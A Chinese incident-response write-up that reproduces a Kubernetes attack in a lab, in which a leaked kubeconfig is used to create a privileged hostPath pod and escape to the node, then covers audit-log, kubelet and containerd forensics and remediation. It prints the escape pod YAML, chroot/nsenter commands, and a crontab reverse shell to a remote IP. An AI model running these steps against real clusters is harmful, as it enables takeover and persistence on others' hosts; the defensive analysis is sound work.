k8s KubeConfig泄露-黑客远程调用ApiServer创建特权容器获取Node节点权限应急排查
近2年的应急响应案例中,k8s的入侵案例逐渐增多。并且多次遇到客户云上内网被入侵后黑客窃取了KubeConfig文件,从公网远程调用ApiServer创建容器获取Node服务器权限植入后门的案例。
开发者/CI 系统的 kubeconfig 文件泄露到 Git / 日志 / 备份
│
▼ 黑客获取该文件
黑客在公网直接调用 apiserver(6443 端口)
│
▼ 权限确认为 cluster-admin
黑客创建一个特权 Pod,挂载宿主机根目录
│
▼ kubectl exec 进容器
chroot / nsenter 拿到 Node 宿主机的 root shell
│
▼
完全控制该 Node 宿主机
泄露途径非常多样:.kube/config 被 git add -A 带进仓库、CI 流水线打印了 KUBECONFIG 环境变量、开发者把 kubeconfig 存到共享网盘……一旦泄露,攻击者就能以持有人的身份操作集群,而集群本身不会有任何告警。
复现环境
本实验在腾讯云香港按量计费,搭建了一个三节点集群,有意混用 Ubuntu 22.04 和 CentOS 7.9 两种操作系统,以便在应急响应部分真实对比两种 OS 下的日志路径差异。
| 角色 | OS | 规格 | 公网 IP | 内网 IP |
|---|---|---|---|---|
| master(control-plane) | Ubuntu 22.04 | 4C8G | 129.xxx.50.247 | 10.0.1.14 |
| node-ubuntu(worker) | Ubuntu 22.04 | 2C4G | 43.xxx.182.96 | 10.0.1.2 |
| node-centos(worker) | CentOS 7.9 | 2C4G | 43.xxx.29.38 | 10.0.1.11 |

- Kubernetes v1.30.14,kubeadm 安装,flannel CNI
- apiserver 监听
0.0.0.0:6443,证书 SAN 含公网 IP(模拟真实暴露场景) - 攻击机:攻击者模拟用的是我自己的 Mac,不在集群内网,纯公网操作
模拟泄露的 kubeconfig
真实场景里,kubeconfig 从各种渠道泄露。这里我们直接使用 master 节点上的 admin.conf(已将 server 地址改写为公网 IP),模拟”已泄露”状态。

用泄露的凭证连接集群
攻击者在自己的机器上:
export KUBECONFIG=$PWD/lab/attack/leaked-kubeconfig.yaml kubectl version # Server Version: v1.30.14 目标版本 kubectl get nodes -o wide

3个节点都 Ready,一个 control-plane,两个 worker。继续枚举权限:
kubectl auth can-i --list

*.* → [*],完整 cluster-admin,等同于集群 root。
kubectl auth can-i create pods # yes kubectl auth can-i create clusterrolebindings # yes kubectl get pods -A # 看到所有系统 pod

一份泄露的 kubeconfig,相当于让攻击者从公网拿到了整个集群的最高权限。
创建特权 Pod
特权 Pod 是本次逃逸的核心。关键配置:
# cat lab/attack/privileged-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: pwn
namespace: default
spec:
hostPID: true # 共享宿主机 PID 命名空间
hostIPC: true # 共享宿主机 IPC 命名空间
hostNetwork: true # 共享宿主机网络命名空间
containers:
- name: pwn
image: ubuntu:22.04
command: ["/bin/bash", "-c", "sleep infinity"]
securityContext:
privileged: true # 拥有所有 Linux capability,可访问所有设备
volumeMounts:
- name: host
mountPath: /host # 宿主机 / 挂载到容器 /host
volumes:
- name: host
hostPath:
path: / # 挂载宿主机根目录
type: Directory
restartPolicy: Never
# 不配置 tolerations → 不容忍 control-plane:NoSchedule 污点
# Pod 会自动调度到 worker node(vm-1-2-ubuntu),正好是我们要拿的目标
制作好特权容器pod的yaml后,我们通过kubectl创建特权容器。
kubectl apply -f lab/attack/privileged-pod.yaml # pod/pwn created kubectl wait --for=condition=Ready pod/pwn --timeout=120s # pod/pwn condition met kubectl get pod pwn -o wide

Pod 落在了 worker node(vm-1-2-ubuntu),符合预期。
逃逸到 Node 宿主机
方法一:chroot 进宿主机根文件系统
kubectl exec -it pwn -- chroot /host bash
因为 /host 就是宿主机的 /,chroot 之后我们的根就是宿主机的根。

方法二:nsenter 进宿主机 PID 1 命名空间
kubectl exec -it pwn -- nsenter --target 1 --mount --uts --ipc --net --pid -- bash
nsenter 直接进入宿主机 init 进程(PID 1)的所有命名空间,比 chroot 更彻底:网络、进程、挂载点全部是宿主机视角。

拿到Node Shell的进一步利用
拿到 Node 宿主机 root shell 之后,攻击者可以有多种方式可以在内网横移和持久化。
持久化的方式就有常见的写入ssh公钥,对于Node节点没有公网ip的情况,通用是反弹Shell或者下载后门执行。
# 写 SSH 公钥到宿主机 root(无需 k8s 就能登进来) mkdir -p /root/.ssh echo "ssh-ed25519 AAAA...攻击者公钥... /root/.ssh/authorized_keys # 之后直接 ssh 登录 # 反弹shell echo "* * * * * /bin/bash -i >& /dev/tcp/192.168.xxx.xx/2333 0>&1" >>/etc/crontab
应急响应如何排查这类攻击
K8s 层:发现可疑 Pod
第一步:扫描集群里所有带危险配置的 Pod
kubectl get pods -A -o json | jq -r '
.items[] |
{
ns: .metadata.namespace,
name: .metadata.name,
privileged: ([.spec.containers[]?.securityContext.privileged // false] | any),
hostPath: ([.spec.volumes[]? | select(.hostPath)] | length > 0),
hostPID: (.spec.hostPID // false),
hostNetwork: (.spec.hostNetwork // false)
} |
select(.privileged or .hostPath or .hostPID or .hostNetwork) |
"[!] \(.ns)/\(.name) privileged=\(.privileged) hostPath=\(.hostPath) hostPID=\(.hostPID) hostNetwork=\(.hostNetwork)"
'
关键判断:default 命名空间下出现 privileged+hostPath+hostPID 全开的 Pod,且不是系统组件 → 高度可疑。

攻击者写进 kube-system 的唯一动机是伪装——kubectl get pods -A 时和 kube-proxy、coredns 混在一起,粗看不容易发现。
这也是 jq 扫描命令要全量扫 -A(all namespaces)然后按 namespace 做二次判断的意义——kube-system 里出现 privileged=true + hostPID=true + hostPath=/ 的非系统组件,同样是高危告警。
第二步:抓 Pod 详情和时间线
# 查 Pod spec 里的完整安全配置
kubectl get pod pwn -o jsonpath='{.spec.containers[0].securityContext}'
# 查 Pod 落在哪个 Node、什么时候创建
kubectl get pod pwn -o wide
kubectl get pod pwn -o jsonpath='创建时间: {.metadata.creationTimestamp}{"\n"}'

第三步:查 Event,还原完整创建过程
# 指定 namespace kubectl get events -n kube-system --field-selector involvedObject.name=pwn-ephemeral # 不确定在哪个 namespace,全量搜 kubectl get events -A --field-selector involvedObject.name=pwn-ephemeral

攻击时间轴一目了然,但是只有事发 1 小时内有效。
Node 层:宿主机侧的取证
直接 SSH 进受影响的 worker node宿主机排查,containerd 日志——记录了 Pod sandbox 和容器的创建:
# 不知道pod名字——找所有 sandbox 创建事件 journalctl -u containerd | grep -iE "RunPodSandbox|CreateContainer"

kubelet 日志——记录了 hostPath volume 挂载:
journalctl -u kubelet | grep -i "VerifyControllerAttachedVolume\|host-path"

host-path volume 的挂载记录是关键证据,且日志里会明确显示 pod 名,可以从这里反向确认名字。kubelet 的 VerifyControllerAttachedVolume 行精确记录了 hostPath 挂载时间,是 pod 删除后最核心的时间锚点。
双平台日志实测对比
同一个特权 Pod(pwn-centos)在 CentOS 7.9 节点上创建,分别用两种方式查:
方式一:/var/log/messages(CentOS 有,Ubuntu 无)
grep "VerifyControllerAttachedVolume\|RunPodSandbox\|CreateContainer" /var/log/messages

方式二:journalctl(ubuntu 和 centos 都能用)
两种方式在 CentOS 上查到的是完全一样的内容。命令同上。
原因:CentOS 7 的 rsyslog 默认加载了 imjournal 模块,它会订阅 systemd journal,把所有 *.info 级别的消息(包括 kubelet、containerd 写入 journal 的日志)同步转写到 /var/log/messages:
Ubuntu 22.04 默认没有安装 rsyslog(或未配置 imjournal),journal 只以二进制格式保存在 /var/log/journal/,必须通过 journalctl 读取。
Audit Log 中的真实攻击记录
默认 kubeadm 安装不开启 audit log。本实验已在 master 节点开启,以下是真实攻击链在 /var/log/kubernetes/audit.log 中留下的原始记录。
# 排除内网的请求ip来源,方便快速定位异常公网调用
sudo jq 'select(
.sourceIPs | map(
test("^10\\.|^172\\.(1[6-9]|2[0-9]|3[01])\\.|^192\\.168\\.|^127\\.|^::1$|^fe80:|^fc[0-9a-f]:|^fd[0-9a-f]:")
| not
) | any
)' /var/log/kubernetes/audit.log

通过 audit log 可以精确回答:谁(username)从哪里(sourceIPs)在什么时间(timestamp)执行了 exec,是溯源的黄金证据。
第一步:Pod 创建(CREATE 201)
{
"requestReceivedTimestamp": "2026-06-05T10:41:00.866989Z",
"verb": "create",
"user": {
"username": "kubernetes-admin",
"groups": ["kubeadm:cluster-admins", "system:authenticated"]
},
"sourceIPs": ["159.196.171.95"],
"userAgent": "kubectl/v1.36.1 (darwin/arm64) kubernetes/7569396",
"objectRef": {
"resource": "pods",
"namespace": "default",
"name": "pwn",
"apiVersion": "v1"
},
"responseStatus": { "code": 201 },
"requestObject": {
"kind": "Pod",
"spec": {
"hostPID": true,
"hostNetwork": true,
"containers": [{
"image": "ubuntu:22.04",
"securityContext": { "privileged": true },
"volumeMounts": [{ "name": "host", "mountPath": "/host" }]
}]
}
}
}
关键字段解读:
sourceIPs: 159.xxx.xxx.95— 攻击者公网 IP(这里是本实验研究机器)userAgent: kubectl/v1.36.1 (darwin/arm64)— 攻击者使用 Mac 上的 kubectlspec.hostPID/hostNetwork: true+privileged: true— 特权逃逸特征volumeMounts mountPath: /host— 挂载宿主机根目录的典型手法
第二步:进入容器执行命令(EXEC 101)
{
"requestReceivedTimestamp": "2026-06-05T10:41:07.854399Z",
"verb": "get",
"user": {
"username": "kubernetes-admin",
"groups": ["kubeadm:cluster-admins", "system:authenticated"]
},
"sourceIPs": ["159.196.171.95"],
"userAgent": "kubectl/v1.36.1 (darwin/arm64) kubernetes/7569396",
"objectRef": {
"resource": "pods",
"namespace": "default",
"name": "pwn",
"apiVersion": "v1",
"subresource": "exec"
},
"responseStatus": { "code": 101 }
}
关键字段解读:
subresource: exec— 明确是kubectl exec操作code: 101— HTTP 101 Switching Protocols(WebSocket 握手成功)= exec 会话建立- Audit policy 设置
level: Request时可记录命令参数(command=id&command=hostname)
第三步:强制删除 Pod(DELETE 200)
{
"requestReceivedTimestamp": "2026-06-05T10:41:09.711710Z",
"verb": "delete",
"user": {
"username": "kubernetes-admin",
"groups": ["kubeadm:cluster-admins", "system:authenticated"]
},
"sourceIPs": ["159.196.171.95"],
"userAgent": "kubectl/v1.36.1 (darwin/arm64) kubernetes/7569396",
"objectRef": {
"resource": "pods",
"namespace": "default",
"name": "pwn",
"apiVersion": "v1"
},
"responseStatus": { "code": 200 }
}
关键字段解读:CREATE → EXEC → DELETE 全程仅 9 秒
- Pod 删除后
kubectl get pods为空,但 audit log 完整保留三个事件 - audit log 是 apiserver 写的,攻击者删 Pod 并不影响已写入的日志
用 jq 快速筛查攻击条目
# 筛出所有 pod create/exec/delete by kubernetes-admin
sudo jq -c 'select(
.user.username == "kubernetes-admin" and
(.verb == "create" or .verb == "delete" or .objectRef.subresource == "exec") and
.objectRef.resource == "pods"
) | {ts: .requestReceivedTimestamp, verb, name: .objectRef.name, src: .sourceIPs[0], code: .responseStatus.code}' \
/var/log/kubernetes/audit.log
输出示例:

如何开启Audit Log

在 /etc/kubernetes/manifests/kube-apiserver.yaml 中加入以下参数开启:
- --audit-policy-file=/etc/kubernetes/audit-policy.yaml - --audit-log-path=/var/log/kubernetes/audit.log - --audit-log-maxage=30 - --audit-log-maxbackup=3
同时需要在 volumes / volumeMounts 中将 policy 文件和日志目录挂入 apiserver 容器。apiserver 是 static pod,修改 manifest 后 kubelet 自动重启,无需手动操作。
吊销泄露的 kubeconfig
# 轮换 apiserver 客户端证书(最彻底) kubeadm certs renew admin.conf # 之后所有持有旧证书的 kubeconfig 立即失效

排查流程总结
发现告警(Pod 异常 / HIDS 告警 / 流量异常)
│
▼
[K8s 层] kubectl get pods -A -o json | jq ... → 找 privileged+hostPath+hostPID 的非系统 Pod
│ │
│ └─ 找不到?→ Pod 可能已被攻击者删除,继续往下查
▼
[K8s 层] kubectl get events -n <ns> → 查 pod 历史 event(1h 内有效)
→ 确认创建时间、镜像来源、落在哪个 Node
│
▼
[Node 层] grep/journalctl → 查 kubelet VerifyControllerAttachedVolume(hostPath 挂载时间锚)
[Node 层] grep/journalctl → 查 containerd RunPodSandbox / CreateContainer(容器启动时间)
│
▼
[Node 层] 以上述时间为基准,用 find -newer 找同期写入的文件:
/etc/cron.d/ → 持久化定时任务
/root/.ssh/authorized_keys → 植入的 SSH 公钥
/tmp /var/tmp → 后门程序、隐藏文件
/etc/systemd/system/ → 持久化 service
[Node 层] ss -tnp → 可疑外连(反弹 shell)
│
▼
[Audit] audit.log → 查 pods/exec 记录(verb=create resource=pods/exec)
→ 定位攻击者源 IP、username、User-Agent
│
▼
[遏制] kubectl delete pod(如仍存在)
吊销泄露 kubeconfig(轮换证书)
kubectl cordon + drain 受影响 Node
清理宿主机后门(crontab / authorized_keys / service / 隐藏文件)
赞赏
微信赞赏
支付宝赞赏
发表评论